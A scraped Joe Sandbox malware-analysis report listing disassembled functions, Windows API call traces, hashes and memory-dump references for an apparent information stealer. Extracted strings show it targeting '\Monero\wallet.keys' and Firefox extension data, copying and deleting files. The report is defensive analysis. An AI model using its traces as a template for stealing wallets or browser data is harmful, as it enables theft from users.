Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ed3542298a6f1ae3bef10cac8ed58a90a0e68e6d28c67d276c0e08529b112472
Instruction ID: 1dadd829c12d6d7c5406f747f005041bd4f6dc47f5fd405c0bc0d0ee4a36f6ab
Opcode Fuzzy Hash: ed3542298a6f1ae3bef10cac8ed58a90a0e68e6d28c67d276c0e08529b112472
Instruction Fuzzy Hash: DC0162B0D44308BADF10EFD8CC49B9EB7B8EB04701F208495E705B62C1D77455459B99

Function 00BA7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BA7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00BA7E3E
RegOpenKeyExA.KERNEL32(80000002,0062BFD8,00000000,00020119,?), ref: 00BA7E5E
RegQueryValueExA.KERNEL32(?,0063D840,00000000,00000000,000000FF,000000FF), ref: 00BA7E7F
RegCloseKey.ADVAPI32(?), ref: 00BA7E92

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 35e7f2e9cd6f39b465f2a7483fd14e3325a37f7cfc593152f1913add4f091d48
Instruction ID: 2d0a7b2c0889778cb5ae605c163122a274073b5c54cd72bb1dfce86120aa5a21
Opcode Fuzzy Hash: 35e7f2e9cd6f39b465f2a7483fd14e3325a37f7cfc593152f1913add4f091d48
Instruction Fuzzy Hash: 82113DB1A48305ABD700DB98DD49FBBBBBCEB44710F10819AFA05E7280DB7459018BA1

Function 00B912A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B912B4
RtlAllocateHeap.NTDLL(00000000), ref: 00B912BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00B912D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00B912F5
RegCloseKey.ADVAPI32(?), ref: 00B912FF

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 65f3f1ff1be893a7ff1f665834b09601bfd949e161fe59e25052bbda6d8b05cf
Instruction ID: 000b53807115ae481e2fac637d2dc99b449b54711523472b9af21a2587852522
Opcode Fuzzy Hash: 65f3f1ff1be893a7ff1f665834b09601bfd949e161fe59e25052bbda6d8b05cf
Instruction Fuzzy Hash: D601CDB9A40308BBDB04DFE4DC49FAEB7B8EB48701F10815AFA05D7280D675AA019B61

Function 00B9A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00639068,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00B9A0BD
LoadLibraryA.KERNEL32(0063D820), ref: 00B9A146

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA820: lstrlen.KERNEL32(00B94F05,?,?,00B94F05,00BB0DDE), ref: 00BAA82B
Part of subcall function 00BAA820: lstrcpy.KERNEL32(00BB0DDE,00000000), ref: 00BAA885

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

SetEnvironmentVariableA.KERNEL32(00639068,00000000,00000000,?,00BB12D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00BB0AFE), ref: 00B9A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00B9A0B2, 00B9A0C6, 00B9A0DC

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 3086457547c1ae677120c4eef828c52c8150bbf2c8382fda98e8a7efa239e6f8
Instruction ID: 1ba1f147cf755360072ecdbfdda98c54309111ed4b248b7c617652abb1f06268
Opcode Fuzzy Hash: 3086457547c1ae677120c4eef828c52c8150bbf2c8382fda98e8a7efa239e6f8
Instruction Fuzzy Hash: 65410CB1916704EFCB54EFA8EC55AAA77F4AB09301F14816AF505E33A0DB349944CB72

Function 00B9A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

Part of subcall function 00BA8B60: GetSystemTime.KERNEL32(00BB0E1A,0063A510,00BB05AE,?,?,00B913F9,?,0000001A,00BB0E1A,00000000,?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BA8B86

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B9A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00B9A3FF
lstrlen.KERNEL32(00000000), ref: 00B9A6BC

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

DeleteFileA.KERNEL32(00000000), ref: 00B9A743

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: aba4bfb106d58ea6c232a611a1b7fd2c12810d002bcd78255da6aecfdcbdbf4a
Instruction ID: 2365e8f7f830fcf9f448d874e87dd8d2c4cdd5c2d3414067bdedb24a263c056b
Opcode Fuzzy Hash: aba4bfb106d58ea6c232a611a1b7fd2c12810d002bcd78255da6aecfdcbdbf4a
Instruction Fuzzy Hash: 18E1ED72814108ABDB45FBA4DC92EEE73BCAF15300F5081A9F517B6191EF346A49CB72

Function 00B9D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

Part of subcall function 00BA8B60: GetSystemTime.KERNEL32(00BB0E1A,0063A510,00BB05AE,?,?,00B913F9,?,0000001A,00BB0E1A,00000000,?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BA8B86

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B9D801
lstrlen.KERNEL32(00000000), ref: 00B9D99F
lstrlen.KERNEL32(00000000), ref: 00B9D9B3
DeleteFileA.KERNEL32(00000000), ref: 00B9DA32

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 20b671f4593a4517fcc448cfd7a0452d8b11b26104eb40f95b806d476b91aec2
Instruction ID: b05410ee26f3f0448dc232466bddc72e0913b03fee76c7001bf790ae5c47a4eb
Opcode Fuzzy Hash: 20b671f4593a4517fcc448cfd7a0452d8b11b26104eb40f95b806d476b91aec2
Instruction Fuzzy Hash: 9F81F272914108ABDB44FBA4DC96EEE73BCAF15300F5085A9F507B6191EF346A09CB72

Function 00B9F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Part of subcall function 00B999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B999EC
Part of subcall function 00B999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B99A11
Part of subcall function 00B999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B99A31
Part of subcall function 00B999C0: ReadFile.KERNEL32(000000FF,?,00000000,00B9148F,00000000), ref: 00B99A5A
Part of subcall function 00B999C0: LocalFree.KERNEL32(00B9148F), ref: 00B99A90
Part of subcall function 00B999C0: CloseHandle.KERNEL32(000000FF), ref: 00B99A9A

Part of subcall function 00BA8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BA8E52

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00BB1580,00BB0D92), ref: 00B9F54C
lstrlen.KERNEL32(00000000), ref: 00B9F56B

Strings

^userContextId=4294967295, xrefs: 00B9F59C
moz-extension+++, xrefs: 00B9F5AD

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: f26ae90db7ed74233a2681004269fa53f65ddb7cbecd2e50083826e0a9cf2d93
Instruction ID: 81d60e8e9b0d2956e9dd6bfb4d500a95dc2d8f4889423d1e9f479cd52054b0f5
Opcode Fuzzy Hash: f26ae90db7ed74233a2681004269fa53f65ddb7cbecd2e50083826e0a9cf2d93
Instruction Fuzzy Hash: EF51ED71D14108ABDB44FBA4DC96DFE73B8AF55300F4085A8F816A7191EF346A09CBB2

Function 00B99CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00B999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B999EC
Part of subcall function 00B999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B99A11
